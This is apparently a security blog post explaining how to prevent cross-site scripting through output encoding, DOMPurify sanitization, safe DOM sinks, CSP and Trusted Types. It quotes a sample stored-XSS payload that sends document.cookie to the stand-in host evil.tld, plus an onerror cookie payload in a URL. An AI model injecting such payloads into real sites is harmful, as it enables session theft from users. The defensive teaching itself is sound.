# How to Prevent XSS (Cross-Site Scripting)

URL: https://www.devopsness.com/blog/prevent-xss
Author: Kiril Urbonas
Published: 2026-07-20
Updated: 2026-07-20
Categories: DevOps
Tags: Security, Appsec, Web Security, XSS, CSP

Summary: A practical guide to stopping XSS through contextual output encoding, framework escaping, sanitization, CSP, and Trusted Types.

---
Cross-site scripting is still on nearly every appsec top-ten list, and the reason is boring: attacker-controlled data ends up in a page as executable markup instead of inert text. Fix that one thing correctly and most XSS disappears. This post walks through the three flavors of XSS, the root fix, and the defense-in-depth layers you stack on top.

## The three types of XSS

**Stored XSS:** The payload is saved server-side and served to every visitor. Classic case is a comment field. A user submits `<script>fetch('https://evil.tld/c?'+document.cookie)</script>` as their comment, your app writes it to the database, and every reader who loads the thread runs it. This is the worst kind because it needs no social engineering.

**Reflected XSS:** The payload rides in the request and bounces straight back into the response. A search page that renders `You searched for: <the query>` without encoding lets an attacker craft `https://app.tld/search?q=<script>...</script>` and send it to a victim. The server reflects the query into HTML and the browser executes it.

**DOM-based XSS:** The vulnerability never touches the server. Client-side JavaScript reads untrusted input and writes it into a dangerous sink. For example:

```javascript
// Reads location.hash and drops it straight into the DOM.
document.getElementById('welcome').innerHTML =
  'Hi ' + decodeURIComponent(location.hash.slice(1));
// URL: https://app.tld/#<img src=x onerror=alert(document.cookie)>
```

The server sends clean HTML; the browser assembles the exploit locally. Your WAF and server-side filters never see it.

## The root fix: contextual output encoding

XSS is an output problem, not an input problem. The durable fix is encoding data for the exact context it lands in, at the moment you render it. The same string is safe in one context and dangerous in another, so "escape on input" fails. You need context awareness:

- **HTML body:** encode `< > & " '` to entities. `<` becomes `&lt;`.
- **HTML attribute:** encode the same set and always quote the attribute. An unquoted attribute value can break out with a space.
- **JavaScript:** if you must inject data into a script block, use a JSON serializer, not string concatenation. Hex-encode non-alphanumerics.
- **URL:** percent-encode with `encodeURIComponent`, and reject `javascript:` and `data:` schemes in `href` and `src`.

Encoding for the wrong context is a real bug. HTML-encoding a value that lands inside a `<script>` block does nothing useful, because the JavaScript parser does not decode HTML entities.

## Why frameworks auto-escape, and where the holes are

Modern frameworks default to HTML-body encoding on interpolation, which is why greenfield React and Vue apps rarely have basic XSS. In React, `{userInput}` is escaped. In Vue, `{{ userInput }}` is escaped. Angular treats interpolated values as untrusted by default.

The problem is the escape hatches. Every framework ships a way to render raw HTML, and every one of them reintroduces XSS if you hand it untrusted data:

- React: `dangerouslySetInnerHTML`
- Vue: `v-html`
- Angular: `[innerHTML]` with bypassed sanitization
- Raw DOM: `innerHTML`, `outerHTML`, `document.write`, `insertAdjacentHTML`

The `dangerously` prefix is a deliberate warning. Treat any grep hit on these as a code review flag.

## Sanitizing HTML you actually have to render

Sometimes you genuinely need to render user-authored HTML, such as rich-text comments or markdown output. You cannot encode it, because encoding would show the tags as literal text. Instead, sanitize it against an allowlist. Use a maintained library like DOMPurify. Do not write your own regex sanitizer; you will lose to `<img src=x onerror=...>` and mutation-based bypasses.

Here is the vulnerable React version next to the fixed one:

```jsx
// VULNERABLE: renders attacker HTML verbatim.
function Comment({ body }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

// FIXED: sanitize against an allowlist before rendering.
import DOMPurify from 'dompurify';

function Comment({ body }) {
  const clean = DOMPurify.sanitize(body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href'],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

The fix keeps the rich-text feature while stripping scripts, event handlers, and dangerous URL schemes. Configure the allowlist to the smallest set your feature needs.

## Avoiding DOM-XSS sinks

DOM-based XSS is prevented by choosing safe sinks. The core rule: when you are inserting text, use a text API, not an HTML API.

```javascript
// VULNERABLE: string becomes markup, onerror fires.
const name = decodeURIComponent(location.hash.slice(1));
el.innerHTML = 'Hi ' + name;

// FIXED: textContent never parses HTML.
el.textContent = 'Hi ' + name;

// If you need structured nodes, build them explicitly.
const strong = document.createElement('strong');
strong.textContent = name;         // still inert
el.append('Hi ', strong);
```

Keep `eval`, `new Function`, `document.write`, and `setTimeout('string')` out of the codebase entirely. They turn strings into code and have no place in application logic. A lint rule that bans these sinks is cheap insurance.

## Content-Security-Policy: defense in depth

Encoding is the fix; CSP is the seatbelt for the bug you missed. A strict policy tells the browser which scripts may run, so an injected `<script>` is refused even when it slips into the DOM. Prefer a nonce or hash-based policy over host allowlists:

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m';
  object-src 'none';
  base-uri 'none';
```

Every legitimate inline script carries the matching `nonce` attribute; anything the attacker injects lacks it and is blocked. Avoid `'unsafe-inline'` and `'unsafe-eval'`, which defeat the point. There is more nuance on rollout and reporting in [the HTTP security headers guide](/blog/security-headers-guide).

## HttpOnly cookies and Trusted Types

Two more layers reduce the blast radius:

**HttpOnly cookies:** Mark session cookies `HttpOnly` so `document.cookie` cannot read them. If an XSS still fires, the attacker cannot exfiltrate the session token through JavaScript. Pair it with `Secure` and `SameSite`.

```
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
```

**Trusted Types:** A browser feature that makes DOM-XSS sinks refuse plain strings. With `require-trusted-types-for 'script'` set, assigning a raw string to `innerHTML` throws unless it passed through a policy you defined. It moves sink safety from "remember to be careful" to "the platform enforces it," and it pairs naturally with DOMPurify, which can emit `TrustedHTML` directly.

```
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify;
```

## The call we'd make

Encode output for its context and let your framework do it by default; that removes the overwhelming majority of XSS. When you must render user HTML, sanitize it with DOMPurify against a tight allowlist, never a hand-rolled filter. Ban the DOM-XSS sinks with a lint rule so they never reach review. Then layer defense in depth: a strict nonce-based CSP, `HttpOnly` session cookies, and Trusted Types where the browser support fits your users. None of these layers is optional in a serious app, because each one catches the failure of the layer above it. For where XSS fits in the broader program, see our [application security best practices](/blog/application-security-best-practices).

